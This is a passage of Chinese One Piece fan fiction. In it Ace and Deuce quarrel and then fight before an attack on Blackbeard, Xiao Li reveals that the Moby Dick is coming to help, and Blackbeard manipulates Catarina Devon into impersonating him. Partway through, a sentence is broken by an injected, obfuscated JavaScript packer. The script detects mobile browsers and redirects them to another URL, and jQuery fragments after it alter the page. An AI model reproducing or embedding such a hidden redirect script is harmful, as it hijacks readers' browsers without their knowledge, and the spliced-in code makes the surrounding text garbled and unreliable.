“呀!”小狸猝不及防,身体失重双脚离地,发出一声短促而柔软的惊呼,湛蓝的眼睛在近距离瞪得圆溜溜的,映着月光和他近在咫尺的脸。 艾斯没有看她,只是将脸深深埋进她的颈窝,像疲惫的旅人汲取最后的慰藉。他深深吸了一口气,鼻腔里盈满她身上特有的、带着点点心甜味和阳光气息的馨香,这味道驱散了几分海风带来的咸腥,更驱散了几分盘踞在他心头的阴霾与自我封闭的寒意。他亲昵地张口,用牙齿不轻不重地啃咬了一下她敏感得颈侧皮肤,让小狸不受控制的抖了一下,他低语的声音带着沙哑的叹息,哼哼了两声,热气拂过她的皮肤: “别动……让我抱一会儿。” 自家船长抱着小狸撒娇的样子恰好被走过来的丢斯尽收眼底。他看着几乎黏在一起、仿佛自成一个小世界的两人,尤其是在这种紧张关头,忍不住翻了一个巨大的白眼,语气带着点没好气、又有点恨铁不成钢的调侃: “哟,我们伟大的艾斯队长,你倒是乐得自在,在船头抱着小狸享受海风啊?麻烦您老抬抬贵眼看看海图行吗?我们可是离目标越来越近了! 你是航海士你比我清楚,按照这个速度和洋流计算,最迟后天黎明前,就能进入登天之岛的侦查范围了!” 艾斯的目光骤然一沉,那份刚刚被小狸和温情短暂驱散的凝重与锐利瞬间以更猛烈的势头回归,甚至裹挟了一丝被道破紧迫现实的焦躁。他缓缓松开小狸,嘴唇动了动,脸上闪过一丝犹豫与挣扎。 “丢斯……”艾斯的声音有些干涩,他舔了舔下唇,似乎难以启齿,“黑胡子那个家伙……他现在笼络了很多强者,推进城逃出来的那些……个个都不是省油的灯。我……我在想……” “够了艾斯!” 丢斯猛地打断他,声音陡然拔高,带着压抑不住的怒火和深切的失望,面具后的眼睛锐利如刀,仿佛要将艾斯那点心思彻底剖开,“你是不是又在脑子里盘算那些愚蠢透顶的孤胆英雄戏码?!觉得只有你自己强得离谱,想把我们所有人都当成累赘撇在后面?!你脑子里那些自以为是的、狗屁不通的‘保护’想法,我隔着十海里都能闻到那股令人作呕的自我牺牲味儿!” 被挚友如此尖锐地一语道破、毫不留情地斥责,艾斯的脸颊肌肉猛地绷紧,下颌线变得锋利。他试图解释,声音也因为激动而微微提高:“这次不一样,丢斯! 蒂奇他……他的实力深不可测,果实能力更是诡异无比!他的船上还都是从推进城……甚至第六层逃出来的、真正穷凶极恶的怪物罪犯!我不能……我不能眼睁睁看着你们因为我的个人恩怨,去面对那种程度的危险,受伤甚至……甚至……” 那个可怕的词语堵在喉咙,他说不出口,但眼中闪过的恐惧与痛楚已经说明了一切。 “受伤?!” 丢斯的脸色在月光下瞬间变得铁青,积压已久的情绪如同被点燃引信的火山轰然喷发,“你还好意思跟我提‘受伤’?! 波特卡斯·D·艾斯!你上一次,口口声声说着‘不想连累大家’、‘不想看着你们受伤’的‘伟大’想法时,导致的后果是什么?!是顶上战争!是你被黑胡子击败、被海军抓去马林梵多!是我们所有人在全世界面前,眼睁睁看着你被押上处刑台!是差一点……差一点我们就要永远失去你!那种撕心裂肺、恨不得毁灭一切的绝望,你是不是日子过得太舒服,已经忘得一干二净了?!” “丢斯!” 艾斯也被彻底点燃了,额角青筋暴起,声音陡然拔高,像是受伤野兽的咆哮,“难道我能重蹈覆辙吗?!难道我能眼睁睁看着我的伙伴、我的家人,因为我的个人情绪和仇恨,再次被卷入生死危机,甚至去送死吗?!” “你也知道这是你的‘个人情绪’!” 丢斯寸步不让,眼中燃烧着熊熊的愤怒,但更深处是无法忽视的痛心与后怕,“那你为什么就不能学聪明点?!为什么每次遇到事情,你这个莽撞的混蛋!死犟的驴脾气! 认准了什么事就只知道凭着一股热血和愧疚,一头往前冲,从来不考虑身后等着你、想要帮你、愿意和你一起承担的所有人的心情?!我们是你的伙伴,不是需要你小心翼翼护在身后的瓷娃娃!我们是白胡子海贼团二番队,是能和你并肩作战、生死与共的战士!你这个自私又自大的白痴!” 激烈的言辞冲突如同两把淬火的刀,在寂静的甲板上激烈碰撞,迸溅出灼人的火花。迅速升级的情绪很快找到了更原始的宣泄口——两人的手死死握在一起,指节因为用力而发白,互相推搡着,较着力,都想把对方推开,又想将对方拉近。最终,不知是谁先挥出了第一拳,或许两人同时,压抑了太久的担忧、恐惧、愤怒化作了最直接、最笨拙的肢体语言。 “砰!”“嗵!” 沉闷的□□撞击声在寂静的夜里格外清晰刺耳。两个身材相仿的男人竟在船头甲板上,你一拳我一拳,毫无章法却倾尽全力地扭打在一起。没有使用果实能力,只是最原始的角力与互殴,仿佛要将心中所有无法用语言表达的复杂情绪,都通过这疼痛的接触传递给对方。 小狸被这突如其来的激烈冲突吓到了,蓝眼睛里瞬间蓄满了惊慌,她下意识地想上前,小小的身体绷紧,却又不知道该如何阻止这两个显然已经打红了眼的男人。她求助般地看向四周,其他船员也都沉默地看着,没有人上前,眼神复杂。 就在这时,米娅及时走了过来。她没有去看扭打的两人,而是温柔却坚定地按住了小狸微微颤抖的肩膀,另一只手轻轻拍了拍她的头顶,声音带着一种见怪不怪的、近乎冷酷的平静,却奇迹般地安抚了小狸的慌乱: “安心啦,他们俩就这样。每次遇到大事,总要这样打一架才能把心里的话都说出来。”她顿了顿,看着小狸依旧担忧的小脸,熟练地转移话题,语气变得轻快,“别看他们现在打得凶,一会儿就好了。比起担心那两个笨蛋,小狸要不要尝尝我刚烤好的小蛋糕?就在厨房,还热乎着,我加了双倍的蜂蜜哦~” 小狸还是有些担心地看了看那边滚作一团的两人,艾斯似乎占了点上风,把丢斯压在了下面,但丢斯揪着他的领子不松手和他僵持在一起……但米娅姐沉稳笃定、仿佛早已预见到一切的态度让她狂跳的心稍稍安定下来。蜂蜜的甜香似乎也顺着话语飘进了鼻腔……她犹豫了一下,舔了舔嘴唇,湛蓝的眼睛在担忧和渴望之间摇摆,最终,对甜食的本能渴望和对米娅姐的信任占据了上风,她小声地、带着点鼻音应道:“要……” 果然,如同米娅预言的那样。一阵毫无章法却倾尽全力的“互殴”之后,两个男人都筋疲力尽地瘫倒在冰凉坚硬的甲板上,胸膛如同破损的风箱般剧烈起伏,大口喘着粗气,仿佛刚刚经历了一场生死搏杀。脸上、身上都挂了彩——艾斯脸颊擦伤,颧骨一片青紫;丢斯的面具都歪在一边,额头肿起一个大包,嘴角也裂开了,可哪怕看起来狼狈不堪,却又有种奇异的、发泄后的平静。 丢斯望着头顶那片被船帆遮挡了一半、却依旧浩瀚无垠、缀满钻石般星辰的夜空,声音因为脱力和刚才的嘶吼而沙哑得厉害,却带着一种前所未有的、沉淀下来的认真与近乎恳求: “艾斯……”他喘了口气,“再多信任我们一点啊……信任你的伙伴,信任你的家人。相信任我们能和你一起面对任何敌人……相信我们……不是你的负担,而是你的力量啊……船长……” 最后那声“船长”,叫得极轻,却重若千钧。 艾斯紧紧闭着眼,他能感觉到丢斯话语中那份混合着愤怒、失望、但更多是深沉担忧与绝不后退的决意。鼻腔无法控制地涌上强烈的酸意,他用力咬着牙,下颌线绷得紧紧的。 过了好一会儿,久到丢斯以为他不会回答,或者又会用插科打诨蒙混过去时,艾斯才用一种近乎哽咽、颤抖得不成样子的嗓音,一字一句,缓慢而沉重地说道: “我一直……都很信任你们的。” 他顿了顿,吸了吸鼻子,声音更加坚定: “你们……是我……最重要的……家人。” 这句话,仿佛抽干了他最后的气力,却也卸下了心底最沉重的枷锁。他依旧闭着眼,但紧握的拳头,却缓缓松开了。 这时,米娅才抱着丢斯那标志性的、装满瓶瓶罐罐的医疗箱,不紧不慢、优哉游哉地走了过来,身后跟着嘴里还塞着半块蜂蜜蛋糕、腮帮子鼓鼓囊囊、正探头探脑、好奇张望的小狸。 米娅居高临下地看着甲板上躺着、形象全无的两个热血白痴,毫不客气地翻了个白眼,那神态与刚才丢斯鄙视艾斯时如出一辙,显然这对情侣在某些方面已经高度同化。 “我说你们两个笨蛋——”米娅拉长了语调,声音里充满了“我真服了你们”的无奈,“在和真正穷凶极恶的敌人决战之前,先把彼此揍成这副德性是想干嘛?给对方阵营增加战前轻松愉快的笑料吗?”她一边吐槽,一边用镊子夹起蘸了消毒酒精的棉球,毫不留情地按在丢斯破裂渗血的嘴角。 “嘶——!轻点,米娅!你这是谋杀亲夫!”丢斯疼得浑身一抖,倒抽一口冷气,含糊地抗议。 米娅手下力道反而更重了些,没好气地说:“现在知道疼了?刚才打架的时候,拳头挥得不是挺虎虎生风、挺有英雄气概的吗?” 话虽如此,她还是检查了一下,两人看起来惨烈,但彼此都默契地留了手,不过是些皮肉伤和淤青,骨头没事。 小狸也乖巧地蹲到艾斯身边,看着他狼狈的样子,纤细白皙的指尖泛起柔和而充满勃勃生机的白色光晕。她小心翼翼地控制着能量轻轻拂过那些伤痕。清凉舒适的感觉取代了火辣辣的疼痛,伤口以肉眼可见的速度消肿愈合。 她偷偷抬眼,看着米娅姐一边手下不停、一边用严厉又带着心疼的语气训斥两人的模样,而平时在船上威风凛凛、说一不二的艾斯队长和足智多谋的船医兼参谋丢斯,此刻只能像两个做错事被家长抓包的小孩一样缩着脖子挨训,一声不敢吭。小狸偷偷吐了吐舌头,湛蓝的眼睛里闪烁着一点狡黠的幸灾乐祸和“活该”的笑意。 经过这一番情绪的彻底宣泄与别具一格的“物理沟通”之后,弥漫在空气中的紧张、隔阂仿佛也随之被打散、消融。艾斯终于放弃了那执拗的、保护大家,独自面对黑胡子的想法,眼神虽然依旧凝重,但多了几分清醒与沉稳。 众人围坐成一圈,中间摊开海图和有限的情报,开始真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134473|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正冷静认真地商讨,面对强敌蒂奇及其麾下势力,究竟该如何行动。 “根据革命军小姑娘的情报显示,黑胡子海贼团目前正临时驻扎在一座岛上,那里易守难攻,他们的人最近似乎准备攻占蜂巢岛,一部分干部都不在驻地,现在是最好的时间可以大规模地减少伤亡,可是,尽管如此……他们的人数,也比我们多太多太多了。” 斯卡尔指着地图上的标记,声音低沉。 “就算不提那些从推进城逃出来的狠角色,光是黑胡子原本的船员和后来招募的,兵力至少是我们的十倍以上。寡不敌众,正面冲突,我们完全没有胜算。” 丢斯推了推面具,冷静地分析,语气不容乐观。 “更麻烦的是,就算……我是说万一,咱们的傻子队长真的超常发挥,勉强打赢了黑胡子本人……” 一个船员挠着头,说出大家最担心的一点,“他要是一心想跑,我们拦得住吗?他那黑暗果实的能力太诡异了,想走恐怕很难留下。” “攻岛?那里的具体地形、防御工事、兵力部署,我们一概不知。贸然登陆,跟送死没区别。” 邦西抱着手臂,眉头紧锁。 众人七嘴八舌,分析着各种可能性,但得出的结论却一个比一个更令人沮丧。情况确实不容乐观。虽然凭借着革命军的情报,他们一头热血地追了过来,锁定了目标,但冷静下来审视双方力量对比——他们只有一艘船,即便炎雀号是精锐,而对面是拥有多达十一艘舰船、强者云集的一整个海贼团——这差距,如同孤狼试图挑战猛虎巢穴,怎么看都胜算渺茫。 压抑和些许无力感,再次悄悄爬上众人心头。就连刚刚发泄过的艾斯,眉头也越皱越紧,盯着海图,仿佛要把它烧出个洞来。 就在这时,小狸咬着还剩一小口的蜂蜜蛋糕,米娅要她取绷带,她没找到,所以只拿了一块蛋糕,晃晃悠悠地从船舱里走出来。她看着围坐一圈、个个愁云惨淡、眉头能夹死苍蝇的众人,迷惑地眨了眨她那双清澈的蓝眼睛,小小的脑袋里装满了大大的疑问:刚刚不是还好好的吗?怎么气氛又这么沉重了? 她挤不到圆圈里面去,便凑到了远离喧嚣中心、正独自对着航海仪器皱眉计算的米哈尔身边,小声问:“米哈尔老师,你们这是在干嘛啊?怎么大家脸色都这么难看?” 米哈尔从复杂的计算中抬起头,扶了扶帽檐,看着小狸那双写满纯粹疑惑的眼睛,忍不住叹了口气,语气带着深深的无奈: “在商量怎么对付黑胡子。但是……咱们的人数差距太悬殊了……唉,再怎么说,咱们现在也只有一艘船,而对面的蒂奇,可是掌控着以十一艘战舰为核心的完整舰队……这仗,太难打了。” 小狸听着,猫耳轻轻抖了抖,脸上的迷惑不仅没有消退,反而更加浓郁。她歪了歪头,蓬松的黑发滑到一边,困惑地反问: “为什么只有一艘船?” “啊?”米哈尔愣了一下,没太明白她的意思,“我们……我们现在不就只有炎雀号在这里吗?” 小狸看着他,仿佛觉得他的问题才更奇怪。她眨了眨眼,想不明白,干脆不想了,她举起手,用力地挥了挥,试图将沉浸在悲观分析中的大家的注意力,吸引到自己的身上。 “那个——!” 她清脆的声音打破了沉重的讨论。 众人下意识地停下话语,转头看向她。只见小狸站在那里,一手还拿着半块蛋糕: “我刚刚……给马尔科先生打过电话了。” 她顿了顿,看着大家有些茫然的眼神,补充道: “莫比迪克已经准备出发了。马尔科先生说,最晚后天中午就能和我们汇……合……” 她的声音越说越小,到最后几乎变成了嘀咕。因为她发现,随着她的话语,甲板上所有人的目光,全都不约而同、齐刷刷地、带着一种近乎呆滞的震惊,牢牢地聚集在了她的身上。那目光太过集中,太过……古怪,看得她有点发毛,下意识地往后退了一小步,瑟缩了一下,尾巴都不安地卷了起来。 而被小狸这石破天惊的消息打断的众人,陷入了长达十几秒的沉默。 海风呼啸而过,帆索发出规律的吱嘎声,海浪拍打船身……除此之外,再无其他声响。每个人脸上的表情都凝固在震惊与某种……顿悟的空白中。 不知是谁,先发出了一声极轻的、仿佛卡在喉咙里的、介于嗤笑与叹息之间的气音。 然后,像是点燃了某个开关—— “哈……” “噗……” “……哈哈哈哈!” 第一声真正意义上的、畅快淋漓、毫无阴霾的大笑声猛然爆发!紧接着,是第二声、第三声……如同连锁反应,压抑了许久的沉重气氛被这笑声彻底冲垮击碎 “哈哈哈哈哈哈哈!对啊! 谁说我们只有一艘船的?!” 一个船员拍着大腿,笑得前仰后合,眼泪都飙了出来。 “我们都他妈被队长和丢斯这两个笨蛋带进沟里去了! 光想着咱们这一船人怎么拼命,把最大的依靠给忘到脑后去了!” 另一个擦着眼角笑出来的泪花,指着此刻也一脸懵的艾斯和丢斯。 “还得是小狸!关键时刻,新脑子就是好使啊! ” 米娅不知何时也凑了过来,大笑着用力揉了揉小狸的头发,把她揉得东倒西歪。 小狸被他们笑得莫名其妙,小小的脑袋里装了更大的迷惑。她看看这个,又看看那个,完全不明白自己只是打了个电话,怎么就引得大家笑得像一群傻子。她求助般地看向艾斯。 艾斯此刻也已经坐了起来,他看着小狸那副“我做了什么?你们在笑什么?”的茫然可爱的模样,再看向周围伙伴们如释重负、重燃希望的笑脸,胸中那股沉甸甸的、几乎要将他压垮的巨石,轰然落地。他忍不住也跟着咧开嘴,大笑起来,笑着笑着,眼眶却又有些发热。 是啊……他怎么忘了?他怎么又犯了老毛病,试图把所有责任和危险都揽到自己肩上?他从来都不是一个人。他身后,永远站着那个世界上最强大、也最温暖的家。 而远方,那艘永不沉没的白色巨鲸,那艘象征着“家”与“绝对后盾”的移动堡垒——莫比迪克号,已经在新世界的海面上,扬起了如云的风帆,正朝着他们所在的方向,乘风破浪,全速驶来。 121.阴谋 既然知道了莫比迪克号已来援,如何攻下这座岛屿对白胡子海贼团而言,已然不是问题。真正的问题反而变成了要如何留住那只嗅觉敏锐、滑不留手的“黑泥鳅”。以白胡子海贼团如此浩大的声势行动,无论从哪个角度想,黑胡子都不可能毫无察觉、坐以待毙。 “如果不出意外的话,蒂奇短时间内应该不会离开这座岛。” 丢斯站在摊开的海图前,手指敲击着那个被标记的岛屿轮廓,语气带着一种奇特的笃定。 “为什么?” 艾斯皱眉,虽然他恨不得黑胡子就等在原地让他一拳揍飞,但也深知那家伙的狡猾,“他收到风声,第一反应难道不是立刻逃窜吗?” “因为这个岛的位置,如果我没有判断错……” 丢斯推了推眼镜,镜片反射着灯光,“它很可能就是古航海图上记载的、早已沉没的 ‘登天之岛’ 残存部分。” “登天之岛?什么意思?” 米娅也凑了过来。 “意思就是,我们现在看到的、露出海面的这部分,很可能只是当年那片广阔大陆的最高山尖。整座岛,或者说那片古老大陆的绝大部分,都沉在海面之下。” “哎——?!那、那原来得是多大的一片陆地啊!” 小狸非常捧场地惊呼,湛蓝的眼睛瞪得圆圆的,充满了想象,“不过丢斯为什么知道这个?听起来好厉害!” 丢斯被小狸用他自认为崇拜的目光看得有些飘飘然,骄傲地挺直了背脊,嘴角抑制不住地上扬:“那当然!为了书写世界上最棒的冒险小说,我可是博览群书,钻研过无数失落的历史和传说啊!” 他清了清嗓子,整理了一下思绪,试图让自己显得更博学: “根据一些残缺的文献和歌谣暗示,远古时代的人,或许能通过这座‘登天之岛’,以某种方式直接抵达天上的空岛。” 小狸立刻举手,像是课堂上知道答案的学生:“这个我知道!娜美和我说过,他们真的去过空岛!就在白白海的云彩上面!空岛是真实存在的!” “没错!”丢斯比了一个肯定的手势,对小狸的“助攻”非常满意,“至于这座岛本身,先不讨论它当年因何沉没……但重要的是,根据天文和潮汐计算,最近正是百年一遇的‘大退潮’期。平时隐藏在深海、难以到达的‘登天之岛’水下部分,有极大可能会短暂地露出更多真容,甚至可能暴露出通往某些水下遗迹的入口。而传说中,登天之岛上,埋藏着关于古代兵器——‘天王’乌拉诺斯的线索。” 他话音刚落,就看见小狸歪着头,用那双清澈见底、此刻却写满了“你又在骗小孩吗”的蓝眼睛,一眨不眨地盯着他。 “……我总觉得你又在骗我,丢斯。”小狸慢悠悠地说,语气充满怀疑,“丢斯讲的故事,听起来总是很厉害,但完全不可信的。” “我、我什么时候骗过人了!”丢斯像是被踩了尾巴,声音都拔高了一点,“我可是很真诚地在分享知识!” “我才不信啦。”小狸摇摇头,开始掰着手指数,“上次,丢斯信誓旦旦跟我说‘今天一整天都不会下雨,放心出去玩’,结果我刚走到市场,就被浇了个透心凉!淋得可惨了!” “那、那是伟大航路的天气本来就变幻莫测!不能怪我!”丢斯试图辩解。 “还有那次,”小狸的记忆力好得出奇,“你和我说有一个神奇的民族生活在巨大海兽的背上,用珊瑚和珍珠造房子,他们的绿珊瑚做成的粉末吃了还能和动物说话” 米娅接嘴到:“这个我还真有印象,一个见习生就是信了你的鬼话,自己找珊瑚吃幻视了整整一天,抱着桅杆喊妈妈。” “那个……我是听老人家说的嘛……万一是个体差异呢……”丢斯的气势弱了下去。 “还有上上次你说有个时间流速和外界不一样的岛,其实只是里面的计时方式和外面不一样,还有………” 小狸一条一条,如数家珍,逻辑清晰,证据确凿。丢斯的底气随着她每说一条,就肉眼可见地萎靡一分,额角甚至渗出细微的汗珠。到最后,他只能一边摇头晃脑,眼神飘忽,嘴里含糊地嘟囔着“都是巧合……意外……天气和植物的错……”,一边心虚地、脚步略显凌乱地溜走了,生怕身后那只记忆力超群的小猫继续追着揭露他的黑历史。 众人看着丢斯狼狈的背影,又看看一脸“我说的是事实呀”的小狸,忍不住哄笑起来,暂时冲淡了战前的凝重。 与这边气氛完全不同的,登天之岛,黑胡子据点深处。 马歇尔·蒂奇正坐在一个粗糙的木头箱子上,手指焦躁而快速地敲打着箱体表面,发出沉闷的“叩叩”声。他的眉头紧锁,眼神阴鸷,显然在反复权衡着什么。未知的等待让他心烦意乱。 就在这时,电话虫“布鲁布鲁”的声音突然在寂静中响起。 蒂奇吓了一跳,手指的动作猛地停住。但他很快恢复了惯有的镇定,甚至眼底掠过一丝迫不及待,一把抓起那只造型独特的电话虫。 “怎么样,拉菲特?有消息了么?”他的声音压得有些低,但其中的急切难以掩饰。 “哎呀呀,提督……”电话虫模拟出魔鬼警长拉菲特那总是带着些许轻浮笑意的表情和腔调,声音透过听筒传来,似乎还夹杂着一点风声,“蹲了这么久,这次可以确定了。莫比迪克号,确实出航了,阵仗不小呢。我不敢靠得太近,暂时没有捕捉到白胡子本人的清晰身影,所以还不能完全确定他现在的状态。还需要我继续跟着吗?” “当然了!”蒂奇几乎是脱口而出,眼中闪烁着贪婪与算计的光芒,“那就靠你了,拉菲特!一旦确认那个老头子真的像传闻那样油尽灯枯……震震果实的力量,我是一定要拿到手的!” “知道啦,提督。不过……”拉菲特的话锋微妙地一转,语气里带上了一丝不易察觉的凝重,“这个航向,有点不对劲啊。” “怎么?”蒂奇的心莫名一提。 “提督,他们似乎……是冲着你的方向去的。根据航向和速度推断,目标很明确,就是咱们驻扎的岛。” “什——!?” 蒂奇的瞳孔骤然收缩,握着电话虫的手猛地一紧,听筒差点从手中滑落。 拉菲特的声音还在断断续续传来,但蒂奇心里已经是一团乱麻。为什么?是来找自己寻仇的?可为什么整整两年都没有大动静,偏偏是现在?甚至主舰都出动了……难道是因为白胡子终于不行了,他们想来做个了断,或者……只是巧合? 想到前一种可能,蒂奇本能地咧开了嘴,那是混合着恐惧与兴奋的狞笑。但很快,更深的忧虑掐灭了那点兴奋。万一……万一老头子没事呢?顶上战争的阴影和那毁天灭地的一击,至今仍让他心有余悸。 他迅速盘算自己手头的力量:最能打的几个干部,希留、皮萨罗等人,大部分都被他提前派去了蜂巢岛附近布局,为下一步计划做准备。留守岛上的,除了自己,只有巴沙斯、卡特琳娜·戴彭、范.奥卡和病怏怏的毒Q算是高端战力,其余多是派不上大用场的杂兵……不行,硬碰硬绝对是下下策。 他的眼珠急速转动着,目光扫过手边手下刚刚呈上来的、关于岛上新发现的某处水下遗迹入口的报告,他不能现在离开,万一这只是巧合,他可没有下一个一百年,不过,拉菲特提到“航向明确”……他只能赌,一个阴险的计划,如同毒蛇般在他心中迅速成形。 “贼哈哈哈哈……” 低沉而充满算计的笑声在房间内回荡,他重新拿起电话虫,语气恢复了那种令人不安的“豪迈”,“既然送上门来了,那我就不客气了!拉菲特,你继续监视,随时汇报!我这里,自有安排!” 挂断电话,他脸上的笑容瞬间收敛,只剩下冰冷的算计。 --- 昏暗的房间内,只有一盏油灯在墙壁上投下摇晃不定的昏黄光影。 黑胡子特意屏退了左右,只留下自己与卡特琳娜·戴彭相对。空气沉闷,带着海水的咸腥和木材腐朽的淡淡气味。戴彭身上依旧穿着她那套标志性的、与她“若月猎人”凶名不太相称的、甚至有些过分精致华丽的服饰,此刻正拿着一个酒瓶自斟自饮。看到黑胡子进来,且一副明显有要事商谈的样子,她放下了酒瓶,收敛了那惯常的、带着疯癫的笑意,坐正了身体。 “怎么了,提督?”戴彭的声音不像平时那样飘忽,显得正经了许多,“是有什么重要的话要说么?” “贼哈哈哈哈!居然这么明显么?”黑胡子大笑着,走到她对面的椅子上坐下,油灯的光将他半边脸映照得明暗不定,“那我也不藏着掖着了,卡特琳娜。我有一件……非你不可,也只有你能做到的事。” 戴彭将酒瓶彻底推到一边,身体微微前倾:“有什么事你就说吧,提督。我听着。” 黑胡子没有说话,而是缓缓地、带着一种郑重其事的姿态,伸出手,摊开掌心。在他粗糙的掌心里,静静躺着一粒密封在透明胶囊中的、散发着诡异暗青色微光的药物。 “这是……!”戴彭的呼吸微微一滞,眼中闪过惊疑与渴望交织的光芒。 “没错。”黑胡子咧开嘴,露出缺齿的笑容,语气带着诱惑,“这是费了好大功夫,才从贝加庞克实验室流出来的好东西。据说是运用了 ‘四皇’凯多的珍稀血统因子为基础制作的特殊强化药物。对于同为幻兽种能力者的你来说,效果应该……会非常显著。” 戴彭的视线牢牢锁在那粒胶囊上,手指无意识地蜷缩了一下,但她并没有立刻伸手去接,反而将手缩了回去,身体向后靠了靠,警惕地看向黑胡子。 “这——如此珍贵的东西,我真的可以收下么?提督,你想要什么?”她不是天真少女,深知在黑胡子这里,从来没有免费的午餐,尤其是如此“厚礼”。 “贼哈哈哈哈!当然了!”黑胡子笑得更加开怀,仿佛戴彭的警惕都在他意料之中,“或者不如说,这就是特意为你准备的,卡特琳娜。” 他话锋一转,语气忽然变得轻松而怀旧,仿佛只是老朋友闲聊: “说起来,在很久以前的西海,你也是一个很有名的演员,对吧?”他的语气平淡,却精准地抛出了一个尘封的、戴彭以为无人知晓的身份。 卡特琳娜的身体几不可查地僵硬了一瞬。船舱内陷入短暂的沉默,只有油灯芯燃烧的细微噼啪声。是啊,那都是很久以前的事了。曾经的影后,却因为内心无法抑制的嫉妒、对“扮演”和“掠夺他人人生”的扭曲欲望,开始了猎杀美女做收藏的日子,事情暴露后逃到海上,成为了令人闻风丧胆的“若月猎人”。 “……都是过去的事了。”戴彭的声音有些干涩,随即,她发出一阵“呣噜呼呼”的、略显夸张的笑声,仿佛要驱散那份不自在,“现在的我,是‘若月猎人’卡特琳娜·戴彭,已经是个不折不扣的、被世界政府丢进推进城最底层的怪物啦!” “怪物……”黑胡子重复着这个词,声音低沉下去,油灯的光在他眼中跳跃,“卡特琳娜……我们是一样的人。” 他抬起头,直视着戴彭,那目光不再是平日里的算计或狂傲,而是一种奇异的、仿佛能看透灵魂深处的理解与共鸣。 “我们都曾被这个世界所谓的‘光明面’所排斥、所惧怕。他们称我们为‘怪物’,不是因为我们具体做了什么恶事,而是因为我们‘想做什么’。我们内心蓬勃的欲望,我们与生俱来的本性,在他们那些条条框框看来,就是不可饶恕的原罪。” 他的声音带着一种催眠般的磁性,缓缓流淌在狭小的空间里: “他们或许会爱你光鲜亮丽的外表,迷恋你扮演出的完美形象,但他们骨子里,恐惧着你皮囊下真实的本质。那种无法被常规道德约束的、渴望吞噬和取代的……本质。” 戴彭怔住了,握着酒杯的手指微微收紧。这些话,像一把钥匙,精准地捅进了她内心深处最孤独、最不被理解、也最不愿直面的一角。多年来,她用疯狂和残忍包裹自己,扮演各种角色,何尝不是一种对“不被接纳的真实自我”的逃避与嘲弄?此刻,却有人用如此平静,甚至带着欣赏的语气,点破并接纳了这份“本质”。 黑胡子继续说着,语气渐渐激昂:< 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卡特琳娜被这番强烈情感冲击和扭曲认同感震得愣住了,心跳不由自主地加快。如果不是她足够清醒,深知眼前这个男人骨子里是个何等野心勃勃、不择手段的枭雄,她几乎要以为,这番掏心掏肺的话,是某种另类的……表白或追求。但即便如此,这种被深刻理解、被全然,哪怕是扭曲的接纳、甚至被赋予“艺术”与“力量”崇高意义的认同感,如同最醉人的毒酒,让她心底某个冰冷坚硬的部分,产生了细微的、危险的松动。她不自在地握了握拳,指节有些发白。 “提督……”她的声音比刚才低柔了一些,少了几分戒备的尖锐,“你……具体想让我做什么?” 黑胡子知道,火候差不多了。他收敛了那种煽动性的情绪,换上一种坦率中带着沉重托付的表情。 “戴彭,我不想瞒着你。白胡子海贼团……出航了,目标很可能就是这里。”他顿了顿,观察着戴彭的反应,见她只是瞳孔微缩,并未太过惊慌,才继续道,“我的欲望太大,大到他们那个建立在所谓‘亲情’之上的小小‘家庭’,根本容纳不下。所以我们才要出海,去寻找、去征服真正能容纳我们这等存在的地方。” “而现在,机会来了。我想要趁这个机会,一举拿下梦寐以求的震震果实。”他的眼中燃起赤裸的野心之火,“但我需要时间,需要有人帮我吸引住他们主力,尤其是那些难缠的队长的注意力。所以……” 他身体前倾,压低了声音,每一个字都充满了蛊惑: “我需要你,扮演‘我’。” 戴彭的呼吸微微一滞。 “你扮演成我的样子,坐镇这里,吸引他们干部的注意。而我,会伺机行动,去和那个老家伙……做个了断。”黑胡子描绘着蓝图,“这次的任务,绝不是送死或牺牲。戴彭,这是一场献给我们这类无法被世俗容纳的存在的——盛大的演出!” “白胡子,那个活在旧时代残光里的老家伙,他和他那些信奉‘亲情’、‘仁义’的可笑儿子们,永远也无法理解,有些存在,生来就是为了打破一切规则,践踏一切他们认为珍贵的‘纽带’。” “你的‘模仿’,届时将是刺向那个旧时代、刺向他们信仰核心最锋利的一把尖刀!当他们看到,‘我’明明在他们眼前,却在他们无暇注意的时候干掉了他们的老爹……想象一下,他们脸上将会浮现的愤怒、痛苦、难以置信!那将是多么甜美而令人沉醉的画面啊!” 黑胡子站了起来,走到桌边,将那颗一直握在掌心的青色胶囊,轻轻地、郑重地放在了戴彭面前的桌面上。胶囊与木质桌面接触,发出轻微的“嗒”声。 “而你,戴彭,在那一刻,你将不仅仅是模仿我的外形。你将‘成为’马歇尔·蒂奇。你将亲身体验,何为撼动世界的野心,何为背负无尽黑暗依然向前跋涉的决绝。这绝不是一个替身的任务……这是一次灵魂的试炼,是迈向更高层次的、灵魂的晋升。” 他居高临下地看着戴彭,目光灼灼,仿佛在给予她无上的荣光: “我知道你灵魂最深处的渴望,戴彭。你不仅仅是想成为‘某个人’,你是想成为任何人,乃至所有人。你想品尝无数迥异的人生,你想吞噬无穷无尽的存在感。这个任务,就是开始。在完美扮演‘我’的过程中,你会触摸到我的思维模式,我的野心蓝图……这本身,就是一种最深层次的升华和进化。” “你的任务不是死守到最后,你是我重要的伙伴,我只需要你拖延足够的时间。” 他画下了最关键的一笔,“等我成功拿到震震果实,届时,我将与你分享我暗暗果实‘吞噬力量’的真正秘密。也许有一天,你不仅能完美模仿外形,还能真正掠夺并融合你所模仿对象的‘本质’——他们的能力、记忆、甚至部分灵魂特质。那才是你的九尾狐果实觉醒的终极姿态——” 他的声音如同魔鬼的低语,钻进戴彭的耳朵,敲打在她的心尖: “千面之神,万物归一。” “而我将是唯一能指引你、帮助实现它的人。因为只有我,真正理解这种‘吞噬一切,成就唯一’的欲望。我们……是同类啊。” 说完这番交织着极致诱惑、扭曲认同与宏大许诺的话语,黑胡子没有再停留。他深深地看了戴彭一眼,那眼神中充满了“信任”与“期待”,然后转身,身影慢慢融入船舱门口的黑暗之中,只留下标志性的笑声在空气里隐隐回荡:“贼哈哈哈哈……打扰了,好好休息,戴彭,我相信,你会明白的。” 